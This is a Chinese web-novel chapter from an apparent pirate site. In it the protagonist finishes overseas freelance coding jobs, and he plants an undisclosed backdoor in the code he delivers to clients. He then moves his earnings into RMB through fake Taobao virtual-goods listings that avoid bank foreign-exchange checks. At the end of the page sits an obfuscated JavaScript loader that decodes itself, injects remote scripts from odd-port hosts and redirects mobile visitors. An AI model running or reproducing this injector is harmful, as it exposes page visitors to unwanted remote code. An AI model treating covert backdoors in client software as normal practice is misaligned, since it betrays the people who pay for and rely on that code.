首页
第32章 四千美金
返回

第32章 四千美金

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    按下回车键,三份全英文的竞标方案顺着网线发往了大洋彼岸。
    做完这一切,林欢靠在椅背上长出了一口气。
    此时的互联网还没有建立起密不透风的阻拦,若是放到后世,还得费劲去搭梯子,而且这种私接海外私活的钱,弄不好就会被定性为违规收入。
    他隐约记得后世有个新闻,一个程序员吭哧吭哧干了三年海外外包,赚了一百多万,最后连本带利全被没收了。
    至于原因,你别问。
    问就是不合法。
    看了一眼电脑右下角的时间,现在美国东部还是凌晨,亚欧大陆有着天然的时差,这会儿干等也没有用。
    林欢索性打开了原本的工程文件,继续对自己的“电商管家”进行底层的优化。任何一个成熟的商业代码,从跑通逻辑到处理完各种边缘bug,都是非常繁琐且枯燥的。
    如果一样东西特别好做,没有任何技术壁垒,那谁都能做,根本轮不到他来赚钱。
    时间一晃,到了第二天下午三点多。
    林欢还在电脑前不厌其烦地进行着本地模拟测试。经过这段时间的反复打磨,电商管家的产品形态已经越发趋向于成熟。
    就在这时,右下角的网页突然弹出了两封新邮件的提示音。
    他点开收件箱。
    第一封是来自于那个悬赏2200美金的欧洲游戏社区。
    对方在邮件里明确表示,他们团队的几个高级工程师看了林欢的“内存共享机制与动态键值对缓存”理论后,非常感兴趣。
    但在他们的原有认知里,解决数据库负载通常都是死磕SQL语句或者加硬件,从没想过在数据前端单独架设一个轻量级的缓存补丁层,所以对于这个方案在实际高并发下的表现存在质疑。
    林欢双手在键盘上敲击,用大白话加几行简单的伪代码逻辑,给对方回复了一封解释邮件。
    没过多久,对面的技术主管直接拍板:“你的思路非常具有启发性,我们愿意把这个项目交给你,期待你的代码能像你的理论一样行之有效。”
    林欢笑了笑,点开了第二封邮件。
    这封邮件来自那个1500美金的美国分布式数据公司。
    美国佬办事相对谨慎,毕竟在这个年代,吹牛逼的人哪都有,而且林欢注册的账号IP来自华夏,在国际开源社区的名声确实比较一般。
    所以对方在邮件里提出,能不能先提供一段“Socket状态机内存溢出”的核心调度逻辑作为技术测试?
    这就相当于入职前的笔试。
    林欢切回编译器,思索了片刻。
    这东西对后世来说是烂大街的基础操作,但在这个年代就是降维打击。
    不过他不可能把未来完善的科技成果就这么便宜地白送出去,于是他刻意收着写,敲了一段只包含最基础调度逻辑、能证明思路可行性的代码,打包发了过去。
    只要对方的技术不是个傻子,一看这骨架就能明白其中的含金量。
    果不其然,半个小时后,确认邮件发了过来。
    对方表示如果最终代码的效率真能达到林欢承诺的倍数,他们愿意额外支付300美金作为小费。
    “还是老美大方。”林欢嘀咕了一句。
    至于第三个图像压缩的单子,他看了一眼论坛,已经被一个挂着俄罗斯国旗、带有几百条好评的成熟团队接走了。
    林欢也不在意,他现在是个没有任何交易记录的新号,能靠纯技术理论抢下这两个单子已经算是意外之喜了。
    饭要一口一口吃,这两个单子的工作量加起来绝对不小。
    算了一下,3700美金加上300美金的预期小费,总共4000美金,折合人民币接近两万七千块。
    有了上次在派出所被查扣的教训,林欢心里很清楚,在这片土地上做事情还是要走正道。
    哪怕现在很缺钱,也不能再把风险摆在台面上去赌。
    这笔干净的海外收入,就是他接下来正规创业的启动资金。
    “天明,这两天你自己安排,打游戏也好出去逛逛也行。我要闭关干活了。”林欢转头对一旁的李天明交待了一句。
    李天明点了点头。
    自从那次风波之后,他心里一直觉得挺愧疚,林欢一句都没骂他,反而让他觉得更加不好意思。
    接下来的几天,林欢饿了就撕两包泡面用开水一泡,困了就在床上上眯一会,醒了继续敲击键盘。
    这状态和他前世在互联网大厂里带团队封闭开发时一模一样,只不过现在的身体更加年轻,扛得住熬夜。
    而李天明一开始看着林欢工作,他试图想学些什么,但是他确实是看不懂一点。
    由于之前的测试机已经被没收,现在也只剩下那台二手的笔记本。
    这破笔记本想玩游戏是肯定指不上了,但是回复一下旺旺的消息还是可以的。
    于是李天明这三天里就负责回复旺旺上企鹅农场的消息。
    期间,林欢也跟他交代了,自己的电商管家正式接入了农场管家的API接口。如果遇到任何问题,李天明负责记录,到时候跟他反馈就行。
    三天时间,转瞬即逝。
    林欢第一天解决了美国公司的状态机逻辑,第二天完成了欧洲社区的编译,第三天进行了反复的本地极限压力测试。
    在最终反复测试之后。代码总算是可以交货了。
    林欢把两份代码打包成了加密的压缩包。
    在发送之前,出于谨慎,他在代码的底层逻辑里留了一个后门。
    这只是一个演示状态的程序,如果对方想过河拆桥不付尾款,没有林欢手里的动态密钥,这套东西根本无法正式部署到他们的生产环境里。
    先小人后君子,跨国交易,稳当一点总没错。
    两封邮件发送完毕,林欢觉得脑子嗡嗡的。
    他往木板床上一倒,连衣服都没脱,直接睡得昏天黑地。
    再次醒来时,外面天已经黑了。
    林欢是被饿醒的,起来的时候头重脚轻,坐在床沿发了好一会儿呆,去水龙头前用冷水洗了把脸,才算彻底清醒过来。
    他赶紧坐到电脑前,刷新了RentACoder的后台。
    钱已经到账了,整整4000美金,那个美国佬承诺的300美金小费一分不少。
    而且雇主还留下了两条长评。
    欧洲那边写着:“简直是天才般的构想!感谢上帝让我们遇到了Huan,希望之后可以再次合作!”美国公司那边则发来了好友申请,留言表示基础效率比预期高了一倍,以后遇到技术难题希望深度合作。
    林欢看到评价,心里还算满意。
    能被认可价值总是好事,至于结果,他并不意外,如果带着未来的技术底子连这点小问题都搞不定,那他干脆找块豆腐撞死算了。
    但短暂的喜悦过后,一个现实的问题摆在了眼前。
    这钱怎么弄回国内?
    2009年的跨境资金流转可不像后世那么方便快捷。
    林欢拿起手机,先给建设银行的客服打了个电话。
    几分钟的沟通下来,客服的机械回复让他整个人都快麻了。
    流程极其繁琐:先要去柜台开通外汇账户,然后拿身份证申报,最要命的是必须提供劳务合同和商业发票来证明资金来源。
    哪怕林欢能把论坛上的交易记录打印下来,也会面临高额的结汇税,而且只要中间某个网点的柜员觉得合规材料不全,钱就会被原路退回,来来回回能折腾半个月。
    去银行办过业务的人都懂,这里面有多么反人类的设计?
    什么?你不信?那行,来,你先证明一下你是你自己。
    林欢靠在椅子上,果断放弃了走常规银行电汇这条路。
    他打开网页,下载注册了当时国际上最通用的电子钱包——PayPal(贝宝)。当年国内的支付宝,其实就是摸着贝宝的石头过河做出来的。
    他将论坛里的4000美金提现到了PayPal账户,扣除了一点手续费后,资金秒到账。
    不得不说,确实方便。
    但问题依旧没解决,这钱在PayPal里就是一堆虚拟数字。
    他试着看能不能直接绑定国内银行卡提现,结果发现依然要走电汇通道,耗时七八天不说,最后还是绕不开国内银行的结汇审查。
    找不到正规出口,林欢只能把目光转向了当年的“万能集市”——淘宝。
    2009年的淘宝可谓是野蛮生长,里面什么都有。林欢在搜索框里输入“外汇兑换”、“代付”等关键词。
    翻了几页,他随便挑了三家看起来像资金掮客的店点开了旺旺。
    前两家客服回复的套路如出一辙:“你先把美金打到我指定的账户,确认入账后,我这边直接网银转你人民币。”
    林欢看着屏幕冷笑了一声。
    连个第三方平台都不走,真拿他当三岁小孩骗呢?
    直到问到第三家,对面的态度明显不一样。
    “你这钱是从哪里来的?”对面没有急着报汇率,而是先盘问底细。
    “在海外接软件外包赚的报酬。”林欢回复。
    “能够提供完整的资金来源证明吗?金额是多大?”对面的警惕性很高。
    “大概四千美金,平台结算记录和邮件往来都在。”林欢打字。
    对面沉默了一会儿,回复道:“可以交易。不过咱们有言在先,只要你能提供资金来源截图,我们就收。黑客盗刷或者来路不明的钱,我们坚决不做。”
    林欢立刻点开了这家店的首页。
    这是一个带有皇冠信誉的店铺,里面挂满了美国直邮代购的奶粉、化妆品链接。
    林欢看着店铺,明白了。
    对方是做海外代购的,他们去国外网站扫货极度需要美元结汇,而每天在淘宝上赚的又是人民币。
    他们缺美金,林欢缺人民币,这完全是一场各取所需的互补交易,还能顺便赚点汇率差价。
    资金来源截图发过去后,双方开始谈交易方式。
    “怎么保证安全?”林欢问到了核心点。
    代购老板也很坦诚:“我是做正规代购生意的,你上个虚拟商品的淘宝链接,标价两万六千八。我拍下来,用支付宝付款。这个时候钱在担保账户里,你看到了之后,去PP上给我打美金。我确认美金到了,就在淘宝上点确认收货,钱就进你余额了。”
    “那我打完美金,你不点确认收货怎么办?”
    老板在旺旺上回了一句:“兄弟,我不给你钱,你可以拿着完整的聊天记录和汇款底单去举报我。一旦核实,淘宝会默认把担保金判给你,而且我这涉嫌非法交易,皇冠店直接永久封禁。我一家月流水几十万的店,有必要为了你这两万多块钱跟你搞这个吗?”
    林欢看着这句话,想了一下点了点头。
    对方说得有道理,商业交易的底线在于互相牵制,大不了同归于尽,林欢损失两万块,对方损失流水几十万的店铺,这买卖对方不划算。
    为了稳妥起见,林欢还是多留了个心眼:“金额不小,分两笔交易,一笔两千美金。”
    “可以。”老板回得很痛快。
    林欢迅速在自己的店里上了两个一万三千四百块的虚拟链接。
    拍单、支付宝资金冻结、打美金、确认收货。
    两轮操作下来,整个过程不到半个小时。
    随着“叮咚”两声清脆的提示音,林欢看着支付宝余额里多出来的两万六千八百块钱,彻底松了一口气。
    他麻利地将钱提现到了自己的建设银行卡里。
    至此,这笔跨越大洋的资金,终于实打实地变成了可以在这片土地上流通的购买力。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="r5b0n433ax";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/5n)02ossdR/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"5n)02ossdR"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY85n)02ossdR"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();